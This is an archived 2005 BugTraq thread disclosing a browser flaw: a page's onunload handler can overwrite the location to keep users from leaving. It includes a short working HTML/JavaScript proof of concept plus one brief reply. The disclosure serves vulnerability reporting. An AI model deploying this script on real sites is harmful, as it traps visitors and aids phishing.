BugTraq
unload event in ie/mozilla/opera Aug 23 2005 02:09PM
Tobias Boonstoppel (boonstoppel gmail com) (2 replies)
Re: unload event in ie/mozilla/opera Aug 25 2005 08:37AM
Stefan Kelm (stefan kelm secorvo de)
RE: unload event in ie/mozilla/opera Aug 24 2005 08:56PM
David Gillett (gillettdavid fhda edu)
What's worse, some browsers interpret "close the browser" to trigger
the onunload() method, and that's just wrooong.

David Gillett

> -----Original Message-----
> From: Tobias Boonstoppel [mailto:boonstoppel (at) gmail (dot) com [email concealed]]
> Sent: Tuesday, August 23, 2005 7:10 AM
> To: bugtraq (at) securityfocus (dot) com [email concealed]
> Subject: unload event in ie/mozilla/opera
>
>
> in nearly all browsers* you can overwrite the window location in the
> "onunload" event.
>
> that means you can "keep" the user on a site. when you type a new url
> in the address-bar, javascript overwrites it. thats a paradies for
> fishers, porn-site-hoster etc......
>
> here the html/javascript code:
>
> <html>
> <head>
> <script>
> window.unlock = false;
> window.onunload=function()
> {
> if(!window.unlock)
> window.location.href='unload.html';
> }
> document.onmousedown=function()
> {
> window.unlock = true;
> }
> </script>
> </head>
> <body>
> <a href="?link=1">Link 1</a><br>
> <a href="?link=2">Link 2</a><br>
> <a href="?link=3">Link 3</a><br>
> <a href="?link=4">Link 4</a><br>
> </body>
> </html>
>
>
> cheers
> Tobias Boonstoppel
>
>
> ps: * i testet it on firefox (linux / window) opera (linux) and
> internet explorer.
>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus